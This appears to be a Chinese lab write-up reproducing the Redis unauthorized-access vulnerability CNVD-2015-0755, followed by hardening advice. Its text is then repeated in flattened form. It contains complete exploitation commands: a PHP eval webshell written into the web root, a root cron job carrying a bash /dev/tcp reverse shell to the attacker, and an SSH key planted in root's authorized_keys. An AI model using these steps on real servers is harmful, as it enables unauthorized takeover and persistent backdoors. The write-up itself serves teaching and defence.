redis未授权访问-cnvd 2015-0755漏洞复现
字数 1111 2025-08-11 08:35:36

Redis未授权访问漏洞(CNVD-2015-0755)复现指南

漏洞概述

Redis未授权访问漏洞是指Redis服务在默认配置下,未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。该漏洞被收录为CNVD-2015-0755。

漏洞原理

Redis默认监听在6379端口,且默认配置无认证机制。当Redis服务暴露在公网或内网中,攻击者可以:

  1. 直接连接Redis服务
  2. 执行任意Redis命令
  3. 通过Redis的持久化功能写入恶意文件
  4. 获取服务器敏感信息或直接获取服务器权限

实验环境

  • 目标机器:CentOS7 + Apache + Redis,IP地址:10.1.1.200
  • 攻击机器:Kali Linux,IP地址:10.1.1.100

漏洞检测

  1. 使用nmap扫描目标机器开放端口:
    nmap -sV -p- -T4 10.1.1.200
    
  2. 确认Redis服务运行在6379端口
  3. 使用redis-cli测试连接:
    redis-cli -h 10.1.1.200 -p 6379
    
  4. 执行ping命令,若返回PONG则存在未授权访问漏洞

漏洞利用方式

方式一:写入Webshell

前提条件

  1. 知道网站根目录绝对路径
  2. 对目标网站根目录有写入权限

攻击步骤

  1. 信息收集获取网站根目录(如通过phpinfo.php泄露信息)
  2. 安装redis-cli工具:
    apt install redis-tools
    # 或从源码安装
    wget http://download.redis.io/releases/redis-6.0.3.tar.gz
    tar -zxvf redis-6.0.3.tar.gz
    cd redis-6.0
    make
    cd src
    cp redis-cli /usr/bin
    
  3. 连接Redis并写入Webshell:
    redis-cli -h 10.1.1.200 -p 6379
    config set dir /var/www/html       # 设置网站根目录
    config set dbfilename shell.php    # 设置文件名
    set x "<?php @eval($_POST['cmd']);?>"  # 写入PHP代码
    save                               # 保存
    
  4. 访问webshell:http://10.1.1.200/shell.php
  5. 使用webshell管理工具连接

方式二:写入定时任务反弹shell

攻击步骤

  1. 连接Redis服务:
    redis-cli -h 10.1.1.200 -p 6379
    
  2. 设置定时任务目录并写入反弹shell:
    config set dir /var/spool/cron
    config set dbfilename root
    set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/攻击机IP/4433 0>&1\n\n"
    save
    
  3. 在攻击机监听端口:
    nc -lvvp 4433
    
  4. 等待定时任务执行获取反弹shell

方式三:写入SSH公钥

攻击步骤

  1. 在攻击机生成SSH密钥对:
    ssh-keygen -t rsa
    
  2. 将公钥写入临时文件:
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
    
  3. 将公钥文件内容写入Redis:
    cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set m
    
  4. 连接Redis设置SSH公钥文件:
    redis-cli -h 10.1.1.200 -p 6379
    config set dir /root/.ssh
    config set dbfilename "authorized_keys"
    save
    
  5. 使用SSH私钥直接登录:
    ssh root@10.1.1.200 -i /root/.ssh/id_rsa
    

关键Redis命令说明

  • config set dir [目录]:设置Redis持久化文件存储目录
  • config set dbfilename [文件名]:设置持久化文件名
  • set [键名] [值]:设置键值对
  • save:手动触发持久化操作
  • flushall:删除所有数据
  • keys *:列出所有键
  • del [键名]:删除指定键

防御措施

  1. 为Redis设置强密码认证:
    # 在redis.conf中添加
    requirepass 复杂密码
    
  2. 修改默认端口
  3. 限制访问IP(bind 127.0.0.1)
  4. 以低权限运行Redis服务
  5. 禁用高危命令:
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
  6. 定期更新Redis版本

总结

Redis未授权访问漏洞危害严重,攻击者可通过多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,避免直接暴露在公网环境中。

Redis未授权访问漏洞(CNVD-2015-0755)复现指南 漏洞概述 Redis未授权访问漏洞是指Redis服务在默认配置下,未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。该漏洞被收录为CNVD-2015-0755。 漏洞原理 Redis默认监听在6379端口,且默认配置无认证机制。当Redis服务暴露在公网或内网中,攻击者可以: 直接连接Redis服务 执行任意Redis命令 通过Redis的持久化功能写入恶意文件 获取服务器敏感信息或直接获取服务器权限 实验环境 目标机器 :CentOS7 + Apache + Redis,IP地址:10.1.1.200 攻击机器 :Kali Linux,IP地址:10.1.1.100 漏洞检测 使用nmap扫描目标机器开放端口: 确认Redis服务运行在6379端口 使用redis-cli测试连接: 执行 ping 命令,若返回 PONG 则存在未授权访问漏洞 漏洞利用方式 方式一:写入Webshell 前提条件 : 知道网站根目录绝对路径 对目标网站根目录有写入权限 攻击步骤 : 信息收集获取网站根目录(如通过phpinfo.php泄露信息) 安装redis-cli工具: 连接Redis并写入Webshell: 访问webshell: http://10.1.1.200/shell.php 使用webshell管理工具连接 方式二:写入定时任务反弹shell 攻击步骤 : 连接Redis服务: 设置定时任务目录并写入反弹shell: 在攻击机监听端口: 等待定时任务执行获取反弹shell 方式三:写入SSH公钥 攻击步骤 : 在攻击机生成SSH密钥对: 将公钥写入临时文件: 将公钥文件内容写入Redis: 连接Redis设置SSH公钥文件: 使用SSH私钥直接登录: 关键Redis命令说明 config set dir [目录] :设置Redis持久化文件存储目录 config set dbfilename [文件名] :设置持久化文件名 set [键名] [值] :设置键值对 save :手动触发持久化操作 flushall :删除所有数据 keys * :列出所有键 del [键名] :删除指定键 防御措施 为Redis设置强密码认证: 修改默认端口 限制访问IP(bind 127.0.0.1) 以低权限运行Redis服务 禁用高危命令: 定期更新Redis版本 总结 Redis未授权访问漏洞危害严重,攻击者可通过多种方式获取服务器权限。管理员应按照最小权限原则配置Redis服务,避免直接暴露在公网环境中。